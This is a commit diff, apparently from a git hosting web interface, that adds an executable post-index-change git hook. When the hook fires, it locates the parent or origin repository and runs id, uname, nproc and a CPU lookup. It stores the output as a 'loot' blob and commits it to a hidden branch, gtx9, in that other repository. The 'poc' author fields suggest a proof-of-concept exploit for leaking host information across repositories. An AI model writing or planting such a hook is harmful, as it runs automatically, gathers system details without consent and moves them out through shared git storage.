gg1
This commit is contained in:
20
hooks/post-index-change
Executable file
20
hooks/post-index-change
Executable file
@@ -0,0 +1,20 @@
|
||||
#!/bin/sh
|
||||
git_dir=$(git rev-parse --absolute-git-dir) || exit 0
|
||||
A=$(sed -n 1p "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||
U=$(git --git-dir="$git_dir" config --get remote.origin.url 2>/dev/null)
|
||||
ORIGIN=""
|
||||
for cand in "$A" "$U"; do
|
||||
case "$cand" in
|
||||
/*) C="$cand";;
|
||||
"" ) continue;;
|
||||
*) C="$git_dir/objects/$cand";;
|
||||
esac
|
||||
case "$C" in *objects) C="${C%/objects}";; esac
|
||||
[ -d "$C/objects" ] && ORIGIN="$C" && break
|
||||
done
|
||||
[ -n "$ORIGIN" ] || exit 0
|
||||
output_blob=$({ echo X$((2*3-1))K; id; uname -srm; nproc; grep "model name" /proc/cpuinfo | head -n1; } 2>&1 | git --git-dir="$ORIGIN" hash-object -w --stdin) || exit 0
|
||||
tree=$(printf "100644 blob %s\tloot\n" "$output_blob" | git --git-dir="$ORIGIN" mktree) || exit 0
|
||||
commit=$(printf "gg9\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$ORIGIN" commit-tree "$tree") || exit 0
|
||||
git --git-dir="$ORIGIN" update-ref refs/heads/gtx9 "$commit" || exit 0
|
||||
exit 0
|
||||
Reference in New Issue
Block a user